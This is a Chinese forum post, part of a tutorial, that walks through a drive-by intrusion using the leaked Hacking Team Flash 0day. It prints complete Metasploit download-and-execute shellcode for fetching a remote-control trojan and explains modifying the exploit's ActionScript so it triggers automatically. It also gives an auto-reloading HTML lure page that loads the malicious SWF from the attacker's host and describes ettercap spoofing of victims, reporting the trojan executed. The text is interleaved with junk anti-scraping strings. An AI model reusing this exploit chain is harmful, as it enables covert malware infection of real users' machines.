|
8 C& u: U# n' `# v+ |) _ 三、flash 0day之手工代码修改制作下载者实例入侵演示 6 K1 J5 {* G3 S' K, D" e
; G1 H3 i5 k8 [9 H/ y
. [% X; r ]& y! O! D! x u2 a 利用到的工具：
J1 h/ X8 P$ M5 ^ r; U+ p6 { 9 _0 S: p# @9 a H) E, b8 C0 g
8 w$ ]" I: R7 L# q I3 \ S Msf
$ w5 {' q3 u9 v
) c+ ]( |, i! B6 v- _5 e
7 h! q3 e% r) J/ v Ettercap ; x6 _* r. ~2 t" z# J- E; K
) ~/ r W3 W5 M% K8 q& l* w5 U4 y
% n- K! \& s/ q
Adobe Flash CS6 * D4 E2 s2 i5 Y G3 M# _
I. p, P6 ^! ^9 S- w
3 v2 b5 D7 \% d+ Y+ Y Hacking Team Flash 0day-可冲破Chrome沙盒-Evil0X源代码一份
0 \% ~# C4 _ i
- E( z) C( K: Y& \, S7 `* w' D. @$ v
下面我们就开始演示入侵，利用msf生成shellcode,首先打开msf执行use windows/download_exec，show options
. @( d0 i0 q& C* p
) _! x$ i: g/ r/ N1 j% d2 [+ j8 _+ a, \$ C
如图：
+ E8 b: v$ V! | @+ T. v3 }
1 \6 D" e! [8 u1 p
# p) X/ `$ Y! i& ] 6 z# I$ K+ h: j, a$ S+ Y: \6 o+ J
) K& [- ^6 N8 F1 b. |" @, {/ N* y
. U4 M0 s" S' o7 ] 
- H( K# A: ^# N, U ]0 B, g
4 m. I' f3 P9 \8 b. R! G p7 p2 _# n* F$ ?1 }( I* ?8 e
然后set EXE system.exe,再执行set URL,需要说明一下URL就是我们的马的下载地址，这里我们用远控马，远控配置使用不再详细说明。。。如图:
1 ~; b8 k8 N& j* {! C0 X
; Q8 z$ x3 M$ Y' S" D: E; n0 M/ d: ~. @% g2 g1 @9 g
4 [, c1 g2 g- C! k
w2 \! e: P8 E: L4 _" N8 q$ [* }; X0 F5 p# v l
3 Y1 I3 @9 ?4 l# X8 l ^* r
+ j( P6 V5 i/ e1 P+ S k+ z
; M& R/ C. E5 l( T 然后执行generate -t dword生成shellcode，如下：
, k0 T- S* \/ Y( i, N
7 A M0 ^0 S; j$ f% Z& C+ _) v: J' @) Q/ I9 a5 l6 h' s
 8 x a' o" P, d* k3 H5 O9 I" D0 k
% }( ^: g! ^$ d) u* E/ f& t
/ t6 O* H5 W+ I$ P
复制代码到文本下便于我们一会编辑flash exp，如下：
% [' ~$ B* t5 i* v , t9 e7 H$ H* ?* ~: d/ m( ?! w
) R: x9 }- P+ t6 G( @2 e
0x0089e8fc, 0x89600000, 0x64d231e5, 0x8b30528b, 0x528b0c52, 0x28728b14, 0x264ab70f, 0xc031ff31,
( C$ c) y+ L+ T- X$ |0 B1 O* u ( Z' I) n& [% p' [
+ q# P" f& J, Y3 W% ~
0x7c613cac, 0xc1202c02, 0xc7010dcf, 0x5752f0e2, 0x8b10528b, 0xd0013c42, 0x8578408b, 0x014a74c0, 4 N9 I2 F1 u) S. a5 J+ R
: J2 C! D% z W; A0 `( k$ v1 R. A% c- V- K3 F
0x488b50d0, 0x20588b18, 0x3ce3d301, 0x8b348b49, 0xff31d601, 0xc1acc031, 0xc7010dcf, 0xf475e038, $ I) e3 ]+ f! l
/ g6 u! _8 y( F6 K" [- |* }2 O1 J! I) v8 A9 L
0x3bf87d03, 0xe275247d, 0x24588b58, 0x8b66d301, 0x588b4b0c, 0x8bd3011c, 0xd0018b04, 0x24244489, 7 X+ ] l9 R# c# o S" E
' x( Q. Z7 }+ ]8 Q2 U8 g# ~$ Q$ Q
' G! D' D( D, e0 |# G! R
0x59615b5b, 0xe0ff515a, 0x8b5a5f58, 0x5d86eb12, 0x74656e68, 0x69776800, 0xe689696e, 0x774c6854,
C2 p$ B% ]& s7 ?" k6 y 8 m' @& q7 R4 g5 r8 v ~
# o( D' y* o) S- u0 a" m3 P/ T3 | 0xd5ff0726, 0x5757ff31, 0x68565757, 0xa779563a, 0x60ebd5ff, 0x51c9315b, 0x51036a51, 0x53506a51, $ N/ V! r7 I$ Z/ R6 @! m
. y/ @) ^) Y- ^3 J1 s5 x* i9 e6 {( O2 Z
0x89576850, 0xd5ffc69f, 0x31594feb, 0x006852d2, 0x52846032, 0x52515252, 0x55eb6850, 0xd5ff3b2e,
5 |5 ?/ [3 }% M4 l2 C+ k$ ]3 U6 s, n : m& P8 x/ T; O; t: k
6 S3 F0 ~" l* C4 h, f! L
0x106ac689, 0x3380685b, 0xe0890000, 0x6a50046a, 0x7568561f, 0xff869e46, 0x57ff31d5, 0x56575757, @- h9 u4 h; @! I2 H
. N: m; Y9 f4 J& l: q
/ O: O5 E1 o1 R8 z) z' O
0x18062d68, 0x85d5ff7b, 0x4b1f75c0, 0x007c840f, 0xd1eb0000, 0x00008ee9, 0xfface800, 0x732fffff, * E# p9 S9 r0 u5 N7 U
& ^0 Y: M4 L7 {0 {( q% ^. `+ t: N* ^
0x65747379, 0x78652e6d, 0x6beb0065, 0x505fc031, 0x026a026a, 0x6a026a50, 0xda685702, 0xff4fdaf6,
~8 ^1 I% C" j4 w3 w0 ?" i/ X
: W1 Z+ ?1 x9 k# p* m. j. E' y3 ?' X9 s; U; T- u3 \
0xc03193d5, 0x0304b866, 0x8d54c429, 0x3108244c, 0x5003b4c0, 0x12685651, 0xffe28996, 0x74c085d5, 8 d; @1 {8 [' l+ ^: {1 [
0 w! Z) R; h4 Z( w) q# p1 b
2 e3 ?9 \- b0 V7 @3 g 0xc085582d, 0x006a1674, 0x448d5054, 0x53500c24, 0xae572d68, 0x83d5ff5b, 0xceeb04ec, 0x96c66853, 4 P& u: b; }# n, j, l: [/ k
% v5 Z- n3 E# R. j' ?8 Z6 Y9 @
9 d2 p5 C$ X% M. x& ` 0xd5ff5287, 0x6857006a, 0x876f8b31, 0x006ad5ff, 0xa2b5f068, 0xe8d5ff56, 0xffffff90, 0x74737973,
0 z& h) j' L/ r+ [* c & f: U( F1 e w0 G
. K3 i' i d* _7 A% H% W/ v/ u 0x652e6d65, 0xe8006578, 0xffffff08, 0x2e737378, 0x64696162, 0x6b682e6f, 0x00000000 2 O9 T4 k6 q/ F+ E7 U
% u0 L: J* C* w6 S! E( a: q5 o" @# ?: F8 _
6 ]( e4 o# ]# n( U9 _& M
) i! J1 N. Y0 w0 ~1 ?2 _6 O
) W2 o1 U- ]2 t" `/ c1 @
+ | n- S. {& Q/ S. L- g" b
/ N* @! @# l+ m/ `; C. X2 E, j# I. I4 q5 y" _, u: [9 Z9 _. ` n2 z
下面我们来修改flash 0day exp，需要修改三个文件，分别为：
8 Y4 ~* \( \2 v( T
7 H! l0 z! x j4 o0 K- |% Z- M/ z4 d, y
 7 A3 ?0 d$ a+ {% S$ k! g% Z5 O
C7 |, @0 X1 E$ y, I' x6 i/ e3 V) B
先修改ShellWin32.as，部分源代码如图： 3 V3 o+ N2 J7 s& ~
" {% K( L. F0 _0 k/ G# V W
/ ]( O7 o0 p& ^" }2 F" Z# T
 , J1 K6 i# g- g
9 |- d/ Q" g/ @1 x
' s2 {2 S2 ?) t$ m
我们需要把标记处[]中的代码改成用msf生成的代码，修改后如下：
6 M) L2 \5 c# p4 d4 r; v
8 f' H- q& ]3 W, ]- t! C' e4 R
; j T: ?6 `+ U" O H1 Z+ L 
) x% Z8 w/ C4 ] % [, u9 K3 w/ u1 Y& ?2 |
0 P1 L/ R# v( I* s; @% k; e5 D/ |
然后保存，ShellWin64.as的修改方法如上述，不再演示，下面我们来修改myclass.as,这里需要说明一下，因为此exp生成的利用程序，不能直接自动触发flash漏洞，也就是需要点击按钮才可以，实际上在做渗透的时候需要把它搞得更完美，所以就需要修改，修改方法：搜索myclass的某个字符doc.addchild(btn);如图：
# p7 B! j: c7 u) W2 \2 X+ B# e
! L8 e; E1 ?7 e6 q& j
% i5 j- x& L0 g 
% x) Q4 ` t- k1 Z) s( A 7 `# V& L3 b2 M2 k4 w# L( o
* U, ^3 s& \/ k# D1 X/ J
换行在后面加一句TryExpl();注意是l不是数字1，然后如图：
2 G+ J, p3 L: C
% V# y6 n" o& J) _* ^, Y- X1 `) H' }& o8 N5 t
5 F) R% v# b6 e+ e! R% W, t 8 P b1 A5 Q& @# r0 F+ p# e7 y
. Z' o$ p$ U; ]* ~
; U3 i: ~" q! F2 @; t/ {
9 D) ^6 k7 ^7 T. n5 b* y4 f1 e' l& Y
- w: u1 ~0 d, c3 L) _" o: K  2 M( F2 A% L ?6 V
/ \" E& R0 E/ N7 b
( [3 |5 v( N0 R [) l8 F* N 然后点保存，下面我们来编译一下，打开 ; `, G4 s+ \/ |- d0 X9 s
6 a6 a+ D$ v; A2 Y9 y
1 m2 o# C& P m { exp1.fla然后点文件-发布，看看编译没错误 , s8 X0 v/ z2 U( b( v
/ R% o6 d! f( L0 f9 N
, Q, s8 A4 D! h1 E5 U5 j
2 B6 k# @) D" j7 S1 A
3 E9 c; s; M1 b" f) d% b! ]2 F* Q. N- ]6 _
% Y7 V1 m8 }+ F
/ P7 A4 t) m0 G" h
1 I& I3 Z6 N; K+ v5 s
4 e/ O% @ J% N3 f% b1 X5 {3 O
% b; m! ~2 ~+ B9 H, \5 d4 x
2 A# i( R* u9 {* W& V4 K( z  3 F( K/ G: K7 A" a
" A! M: A+ i# R! P4 `
# d% A" i( c( w) Z% J5 U. A" [ 然后我们把生成的
. S2 g u1 ^) R1 C
! a" L" Q' f x2 F1 I5 b! u
2 x, f M7 h4 C$ y: ` exp1.swf丢到kailinux 的/var/www/html下： 9 o& {2 `, W: P) f6 Z" f
' {; |+ \* G' b) a5 Z: J) Z ]
/ _! I! f0 @6 V$ k$ [$ i; x
然后把这段代码好好编辑一下
1 x. v, a/ z4 d# Q. w
' f& [3 Z+ C! G: a4 F0 c; K& Z6 a3 V7 K4 _* Z C
& m& [! Q1 }# B: _$ g6 z' V ) m7 E) h' s3 ~7 j" a% t1 e" \- M* t
% A+ p$ x' ?) D* M" A4 q% K. F
/ f" e/ V. c7 ^7 t% v) k
. H1 w8 K7 h2 b6 d. V% T
5 I* c" |- v3 ^& M
- A- f9 v3 ?' d# D: V! {
( B! E' {$ `$ f% c3 L8 g/ W& Z& n, b+ O4 P# i
& w' y- `. l) z+ ?0 n0 k
- T! H& {# u& t* _) W, B+ Z, i+ J! o9 i
I1 v( {- ^9 U7 ^2 z9 ^) [/ [" ?
5 j) O1 d# k. i" {( s% \
9 e0 {/ s' n+ B/ ?
# M" X6 V# |+ v4 \ & d" {+ P* y$ E2 S
4 Y- T1 k* y" B: O, G' x% W$ ^
% Z* H( q! G6 B. D! T7 A <!DOCTYPE html>
) G3 ?( G! ]# s3 ` : x0 c& V) ?) h; K9 f
0 y. j p h- O" q& s& T! r' b <html> ; H3 k0 f' N5 q0 F& \
" X6 }( R! S7 K( I& m7 {4 y n! T; W/ o2 E* h9 I
<head>
$ P* ]" W6 |. L/ @1 r( d8 h: j
2 Z ~" M3 O+ V3 y# q# e0 ?% n! ~: m, C9 {
<meta http-equiv="Content-Type" content="text/html;
+ M# c r5 f B, s* u , k7 _# S R0 A$ y x9 S
- {, C4 P- a1 E& P/ }# H" ]- h
charset=utf-8"/>
- t9 P9 |0 ?! G 0 _( w7 Q; M& m# H$ ~
! o& e& @0 o' W' c) f/ b) @. B </head>
5 s$ G) Y, f3 n5 N $ X; m- A. h4 O9 U- E+ K5 O( P i
1 T' K; s" h# {# ^& h/ K% k <body>
6 G3 l S- n" r/ p5 p # g5 `/ h5 v, m- E" K" e
! W' r$ _+ f; K! X8 }- p9 V
<h2> Please wait, the requested page is loading...</h2>
6 j: o( ]( i. n7 p
& G) A5 y5 n4 w8 X; x# n& B2 n* y; Y, j; d4 P& C/ z- ~
<br> " b+ Z; @$ K' a6 m5 K
, F4 Z9 e; i, _+ k# Y
# R' N. e) u, w( a* i# a3 o, ~% S( h
<OBJECT
4 n a+ i5 B8 q6 g& o8 G9 ^
' V/ A. x8 b( L( W9 k7 N6 F* i) Z+ l1 r- c% F6 E" S( q
classid="clsid 27CDB6E-AE6D-11cf-96B8-444553540000" WIDTH="50" HEIGHT="50" id="4">< ARAM NAME=movie
$ D+ a& C" e3 y, @6 ?8 e& @ r/ @ G T ~8 |; l) j; m
$ {2 V }' i: B T, b3 r2 x
VALUE="http://192.168.0.109/exp1.swf"></OBJECT> ( T! S2 `: n5 M8 V8 S
) l( z ~! J/ l9 k& Q K
K* G+ c# H. F% \# F1 } ?( ~ </body>
& A5 P- A& ?5 O: r1 t/ [ ) n! [6 G2 M x! W; y6 M$ I
. D; j \! @7 |8 ` <script>
9 b; [# Q3 _/ Q2 A; U ' [+ e1 P& }2 o; b
2 \/ i% N* l! h# Q setTimeout(function () {
}' }1 U. S' C4 r, k& V ; N& f* @& H5 K& L' r% f/ U' f
5 P+ C& d- A* [/ O" b" t
2 r- _- O9 z% M, s0 D. z ; v& {7 W J: E' A2 ?( d0 ?1 w
1 w5 E6 h; q( ]* n; \3 f3 p
window.location.reload(); 2 S9 `0 J6 M2 |( L+ }
+ ]8 S u- r H/ ]7 l
( j" z! R# m( W: t
}, 10000);
6 L/ T% R1 ?" P2 k+ \* R
3 h1 W$ e& P+ `6 c5 k" U: X# S; `- T; B" }+ E [8 B3 J
- a3 r: d+ h' G% d1 I
4 X7 O0 J5 g/ x, ]& b+ ]. N/ ]5 W% h4 K8 i# [
</script> 7 I" a' v$ h# y# q
2 Y" B; b2 [ w5 [' ]4 B2 O% s. U- X9 z' l4 X% ~+ x
</html>
. I. c9 A3 S' {/ w & S/ h8 p0 ~7 D t/ X
9 g6 z9 G6 ^2 j2 a7 v9 L - H) e: r+ ^7 _& P
1 P, V: B l: X
* q" W% x3 ]' Q* }1 O: ]
注意：192.168.0.109是kali的ip地址，这时候我们需要service apache2 start启动一下web服务，然后将上面的html保存为index.htm同样丢到kali web目录下，测试访问链接存在如图： : \7 ~: D+ N% }4 r% f6 H
% [. |* i2 Y b3 x; a) _" Q! u
! m( \, t& M; l' z  8 I: z9 |, m, F+ [5 x' n
; D: `* G8 e6 {! \( G6 R0 D' S
* s, |+ a! t9 C9 ?" K
7 g+ U- m) ~7 O3 D6 x4 z: B ) j z1 A( o# O5 t5 o8 e
, R0 c" t: [1 g) x# K- i- ?% V6 O 4 `7 P+ V% y1 C! I' ~8 i2 [1 H
! F0 C+ y$ C+ S4 x3 o, ?
: J+ ?2 v% I. }; H4 y0 a& e" ]4 i% \ 1 |! X6 \' S1 q& k$ N$ }% A
/ C2 x# @6 q/ S' r, x4 x" U
) r0 y' k. K5 ]/ b* C
: f4 f$ @+ ~ a$ k8 v! l7 Q7 d
7 Q: E& l7 R8 a/ F7 _: x, L& t
" b# m, j# h5 `4 M" i
下面我们用ettercap欺骗如图：
8 y* `7 }5 ^/ y+ _# u$ f3 Q
3 G9 ]7 |& v7 V2 W# V1 k. d$ z) Z- D3 O! v+ S
& ?1 b) ]5 J4 @& D8 x" j
, u u0 ]0 K4 u2 H! b" S
+ C. l9 t4 v" y; e
- y# s" Y2 L% t0 x; ]5 x( P1 \% Q& z 4 [: m/ o x% f
8 w; k; f7 Y& w$ E3 N
下面我们随便访问个网站看看： + s7 S V$ a0 T7 y! l% ?4 j& _8 h
: y7 M, u7 h) W' X% F- M9 r" w6 z0 n& x* o% X
我靠我发现直接用ettercap欺骗物理机装了腾讯管家照样可以欺骗成功，如图：
1 s* \3 g' Z% |& t ( i8 K+ l2 B0 V% B8 |
: O5 o4 n% ]& N. \: z3 h* t( b# Z% Y  T/ ?; C5 P- _" F1 ^
+ _1 r+ m) @" C; ]" R! @, w( d
$ A& y$ n7 G. y9 Q1 H/ B. G: p! {' X 我们看另一台， , B1 T" u! F# s
* s' I1 d' ?: M% L/ {: f. k
' `% _9 P2 i$ N
提示这个错误，说明木马是成功被下载执行了， 只是由于某些原因没上线而已。。。 7 u/ R8 Q) K7 [) p' U
| 
发表于 2018-10-20 20:28:55
收藏
支持
反对